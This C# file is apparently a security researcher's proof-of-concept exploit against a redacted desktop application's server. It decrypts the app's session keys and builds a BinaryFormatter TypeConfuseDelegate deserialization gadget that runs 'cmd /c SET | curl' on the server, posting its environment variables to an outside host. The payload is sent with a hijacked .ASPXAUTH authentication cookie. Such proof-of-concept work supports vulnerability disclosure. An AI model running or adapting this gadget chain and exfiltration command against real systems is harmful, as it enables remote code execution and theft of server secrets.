using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Net;
using System.Net.Cache;
using System.Reflection;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.Serialization.Formatters.Binary;
using Redacted;
using Redacted;
using ICSharpCode.SharpZipLib.Zip.Compression;
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;

public static class DesktopTrafficDecoder {

	private static EncryptionData _encryptedData = null;
	private static int objectSize = 100000000;

	public static void SetEncryptionData(string data) {
		BinaryFormatter binaryFormatter = new BinaryFormatter();
		int num;
		byte[] buffer;
		using (MemoryStream input = new MemoryStream(Convert.FromBase64String(data)))
		{
			using (BinaryReader binaryReader = new BinaryReader(input))
			{
				num = binaryReader.ReadInt32();
				int num2 = binaryReader.ReadInt32();
				buffer = new byte[num2];
				binaryReader.Read(buffer, 0, num2);
			}
		}
		byte[] buffer2 = new byte[num];
		using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
		{
			using (MemoryStream stream = new MemoryStream(buffer))
			{
				byte[] LogonKey = new byte[32] { 10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10 };
				byte[] LogonIV = new byte[16] { 10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10 };
				using (CryptoStream input2 = new CryptoStream(stream, aesCryptoServiceProvider.CreateDecryptor(LogonKey, LogonIV), CryptoStreamMode.Read))
				{
					using (BinaryReader binaryReader2 = new BinaryReader(input2, Encoding.UTF8))
					{
						binaryReader2.Read(buffer2, 0, num);
					}
				}
			}
		}
		using (MemoryStream serializationStream = new MemoryStream(buffer2))
		{
			_encryptedData = (EncryptionData)binaryFormatter.Deserialize(serializationStream);
		}
	}

	public static void DecryptResponse(Stream responseStream) {
		// Code to decrypt the response
	}

	public static object GeneratePayload() {
		// https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-_new_security_advisory_regarding_vulnerabilities_in__net/index.html
		// https://github.com/modzero/MZ-20-03_PoC_NetRemoting/blob/master/RemotingExploit/Program.cs
		Comparison<string> c = new Comparison<string>(string.Compare);
        var c2 = Func<string, string, int>.Combine(c, c);
        TypeConfuseDelegate(c2, new Func<string, string, Process>(Process.Start));
        Comparison<string> c3 = (Comparison<string>)c2;
		
		// Response returned is an embedded exception
		// Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'
		// Deserialization will still happen and command will execute regardless of the above exception
		// Exfil env vars
		SortedSet<string> s = new SortedSet<string>(new string[] { "cmd", "/c SET | curl -X POST --data-binary @- http://remoteserver.stratumsecurity.com/"});
		FieldInfo fi = typeof(SortedSet<string>).GetField("comparer", BindingFlags.NonPublic | BindingFlags.Instance);
        fi.SetValue(s, Comparer<string>.Create(c3));
        return s;
    }

    // TypeConfuseDelegate Gadget
    public static void TypeConfuseDelegate(Delegate handler, Delegate target) {
		FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
        object[] invoke_list = handler.GetInvocationList();
        invoke_list[1] = target;
        fi.SetValue(handler, invoke_list);
	}

	public static Stream GenerateBinaryStream() {
		BinaryFormatter bf = new BinaryFormatter();
		MemoryStream requestStream = new MemoryStream();
		bf.Serialize(requestStream, GeneratePayload());
		requestStream.Position = 0;
		return requestStream;
	}

	public static void SendTamperedMessage(string cookie) {
		byte[] array;

		using (Stream requestStream = GenerateBinaryStream()) {
			OpenMemoryStream openMemoryStream = new OpenMemoryStream();
			DeflaterOutputStream val = new DeflaterOutputStream((Stream)openMemoryStream, new Deflater(6));
			requestStream.CopyFromCurrentPosition((Stream)(object)val);
			val.Finish();
			((Stream)(object)val).Flush();
			openMemoryStream.Flush();
			openMemoryStream.Seek(0L, SeekOrigin.Begin);
			
			using (MemoryStream memoryStream = new MemoryStream()) {
				using (BinaryWriter binaryWriter = new BinaryWriter(memoryStream)) {
					// Server code expects the version and method name to be present
					binaryWriter.Write("1");
					// Server methods listed in desktop app source code
					binaryWriter.Write("GetServerInfo");
					binaryWriter.Write((int)openMemoryStream.Length);
					binaryWriter.Write(openMemoryStream.ToArray(), 0, (int)openMemoryStream.Length);
					memoryStream.Flush();
					array = Encryption.AesEncrypt(memoryStream.ToArray(), _encryptedData.LoginKey, _encryptedData.LoginIV);
				}
			}
			
			HttpWebRequest httpWebRequest = WebRequest.Create("https://redacted.com/Redacted") as HttpWebRequest;
			httpWebRequest.CookieContainer = new CookieContainer();
			httpWebRequest.CookieContainer.Add(new Cookie(".ASPXAUTH",cookie) { Domain = "redacted.com" });
			httpWebRequest.Method = "POST";
			httpWebRequest.Timeout = -1;
			httpWebRequest.CachePolicy = new RequestCachePolicy(RequestCacheLevel.BypassCache);
			httpWebRequest.ContentType = "application/octet-stream";
			Stream requestStream2 = httpWebRequest.GetRequestStream();
			
			using (BinaryWriter binaryWriter2 = new BinaryWriter(requestStream2)) {
				binaryWriter2.Write(array.Length);
				binaryWriter2.Write(_encryptedData.WebSession);
				binaryWriter2.Write(array, 0, array.Length);
			}
			
			requestStream2.Flush();
			requestStream2.Close();
			
			if (openMemoryStream.Length > objectSize) {
				openMemoryStream.Close();
				openMemoryStream.Dispose();
				openMemoryStream = null;
			}

			HttpWebResponse webResponse = (HttpWebResponse) httpWebRequest.GetResponse();
			Console.WriteLine("Status Code: " + webResponse.StatusCode);
			Stream responseStream2 = webResponse.GetResponseStream();
			DecryptResponse(responseStream2);
		}
	}

    public static void Main() {
		// "Return" JSON body parameter in Desktop login response
		string encryptedBase64AuthString = "<redacted>";
		// Sets the AES key and IV to decrypt and encrypt data
		SetEncryptionData(encryptedBase64AuthString);

		// .ASPXAUTH cookie value
		string cookie = "<redacted>";
		SendTamperedMessage(cookie);
    }
}